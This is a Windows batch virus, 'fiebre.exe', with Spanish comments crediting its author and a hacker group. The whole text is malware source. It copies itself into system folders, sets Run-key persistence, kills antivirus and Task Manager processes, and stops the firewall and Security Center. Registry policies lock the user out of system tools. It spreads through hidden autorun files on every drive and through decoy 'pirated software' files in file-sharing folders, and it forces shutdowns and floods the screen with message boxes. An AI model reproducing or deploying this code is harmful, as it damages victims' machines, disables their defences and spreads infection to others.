@echo off
:: virus fue creado por hacked by  W4rR3d
:: virus esta dedicado a la comunidad hacker piura- peru
:: virus informatico se llama fiebre.exe
:: virus informatico dedicado al grupo de hackers 'KA0 Team' 
:inicio
copy %0 "%homedrive%\"
copy %0 "%windir%\"
copy %0 "%windir%\system32"
copy %0 "%PROGRAMFILES%\"
copy %0 "%allusersprofile%\"
copy %0 "%COMMONPROGRAMFILES%\"
copy %0 "%USERPROFILE%\" 
taskkill /f/im aswRegSvr.exe /im aswRegSvr64.exe /im AvastSvc.exe
taskkill /f/im explorer.exe /im teatimer.exe /im taskmgr.exe
taskkill /f/im explorer.exe /im firefox.exe /im  photoshop.exe
net stop "Security Center"
net stop SharedAccess
net stop "Firewall de Windows/Conexion compartida a Internet (ICS)"
REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v system /t REG_SZ /d "%windir%\system32\fiebre.exe" /F
reg add hklm\software\microsoft\windows\currentversion\run /v fiebre /t reg_sz /d %eb1%fiebre.exe /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideClock /t REG_DWORD /d 1 /f 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskBar /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
reg Add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d "http://www.elcachondeo.cl/foro/showthread.php?t=364382"
reg Add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v "HomePage" /t REG_DWORD /d 1 /f
reg Add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Window Title" /t REG_SZ /d "Hacked By W4rR3d"
Set eb1= C:\
Set eb2= D:\
Set eb3= E:\
Set eb4= F:\
Set eb5= G:\
Set eb6= H:\
if exist %eb1%autorun.inf (goto fie1) else (goto fie2)
:fie2
copy /Y %0 %eb1%fiebre.exe
echo.[AutoRun]>> %eb1%autorun.inf
echo.open="%eb1%fiebre.exe">> %eb1%autorun.inf
echo.action=Open folder to see files...>> %eb1%autorun.inf
attrib +r +s +h %eb1%autorun.inf
attrib +r +s +h %eb1%fiebre.exe
echo On Error Resume Next >> %eb1%apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb1%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb1%apagar.vbs
attrib +r +s +h %eb1%apagar.vbs
start %eb1%apagar.vbs
:fie1
if exist %eb2%autorun.inf (goto fie3) else (goto fie4)
:fie4
copy /Y %0 %eb2%fiebre.exe
echo.[AutoRun]>> %eb2%autorun.inf
echo.open="%eb2%fiebre.exe">> %eb2%autorun.inf
echo.action=Open folder to see files...>> %eb2%autorun.inf
attrib +r +s +h %eb2%autorun.inf
attrib +r +s +h %eb2%fiebre.exe
echo On Error Resume Next >> %eb2%apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb2%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb2%apagar.vbs
attrib +r +s +h %eb2%apagar.vbs
start %eb2%apagar.vbs
:fie3
if exist %eb3%autorun.inf (goto fie5) else (goto fie6)
:fie6
copy /Y %0 %eb3%fiebre.exe
echo.[AutoRun]>> %eb3%autorun.inf
echo.open="%eb3%fiebre.exe">> %eb3%autorun.inf
echo.action=Open folder to see files...>> %eb3%autorun.inf
attrib +r +s +h %eb3%autorun.inf
attrib +r +s +h %eb3%fiebre.exe
echo On Error Resume Next >> %eb3%apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb3%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb3%apagar.vbs
attrib +r +s +h %eb3%apagar.vbs
start %eb3%apagar.vbs
:fie5
if exist %eb4%autorun.inf (goto fie7) else (goto fie8)
:fie8
copy /Y %0 %eb4%fiebre.exe
echo.[AutoRun]>> %eb4%autorun.inf
echo.open="%eb4%fiebre.exe">> %eb4%autorun.inf
echo.action=Open folder to see files...>> %eb4%autorun.inf
attrib +r +s +h %eb4%autorun.inf
attrib +r +s +h %eb4%fiebre.exe
echo On Error Resume Next >> %eb4%apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb4%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb4%apagar.vbs
attrib +r +s +h %eb4%apagar.vbs
start %eb4%apagar.vbs
:fie7
if exist %eb5%autorun.inf (goto fie9) else (goto fie10)
:fie10
copy /Y %0 %eb5%fiebre.exe
echo.[AutoRun]>> %eb5%autorun.inf
echo.open="%eb5%fiebre.exe">> %eb5%autorun.inf
echo.action=Open folder to see files...>> %eb5%autorun.inf
attrib +r +s +h %eb5%autorun.inf
attrib +r +s +h %eb5%fiebre.exe
echo On Error Resume Next >> %eb5%apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb5%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb5%apagar.vbs
attrib +r +s +h %eb5%apagar.vbs
start %eb5%apagar.vbs
:fie9
if exist %eb6%\autorun.inf (goto fie11) else (goto fie12)
:fie12
copy /Y %0 %eb6%fiebre.exe
echo.[AutoRun]>> %eb6%autorun.inf
echo.open="%eb6%fiebre.exe">> %eb6%autorun.inf
echo.action=Open folder to see files...>> %eb6%autorun.inf
attrib +r +s +h %eb6%autorun.inf
attrib +r +s +h %eb6%fiebre.exe
echo On Error Resume Next >> %eb6%\apagar.vbs
echo set shell = CreateObject("WScript.Shell") >> %eb6%apagar.vbs
echo shell.run "shutdown.exe -s  -t 13" >> %eb6%apagar.vbs
attrib +r +s +h %eb6%apagar.vbs
start %eb6%apagar.vbs
:fie11
set /a war1="%programfiles%\eMule\Incoming"
set /a war2="%programfiles%\KaZaA\My Shared Folder"
set /a war3="%appdata%\Ares\My Shared Folder"
Set /a War4="%programfiles%\Alwil Software\Avast5"
if exist %war1% (
for /d %%a ("Internet Explorer 7.exe","Windows Xp.exe","Nero Start Smart 9.exe","Microsoft Office 2007.exe","Avast 5.1 Pro Full.exe","Windows Live Messenger 8.5.exe","GTA 4.exe","Activa tu windows.exe","ESET Smart Segurity 4.exe" do (if not exist %war1%\%%a copy /y "%~0" %war1%\%%a)
)
if exist %war2% (
for /d %%a ("Windows Xp.exe","Nero Start Smart 9.exe","Microsoft Office 2007.exe","Avast 5.1 Pro Full.exe","Windows Live Messenger 8.5.exe","GTA 4.exe","Activa tu windows.exe","ESET Smart Segurity 4.exe" do (if not exist %war2%\%%a copy /y "%~0" %war2%\%%a)
)
if exist %war3% (
for /d %%a ("Windows Live Messenger 9.5.exe","avast! Free Antivirus 5.exe", "aswRegSvr 64.exe","AvastSvc 50.exe","aswRunDll 3.2.exe","Avast 5.3 Pro Full.exe","Windows Live Messenger 8.5.exe","GTA 4.exe","Activa tu windows.exe","ESET Smart Segurity 4.exe" do (if not exist %war3%\%%a copy /y "%~0" %war3%\%%a)
)
if exist %war4% (
for /d %%a ("aswRegSvr 5.exe","avast! Free Antivirus 5.exe", "Windows Xp.exe","aswRegSvr 9.exe","aswRunDll 5.exe","Avast 5.3 Pro Full.exe","Windows Live Messenger 8.5.exe" do (if not exist %war4%\%%a copy /y "%~0" %war4%\%%a)
echo Msgbox "ha sido hackeado por hacked by W4rR3d" >> %homedrive%\mensaje.vbs
For /L %%a IN (0,1,1000) DO start %homedrive%\mensaje.vbs
goto inicio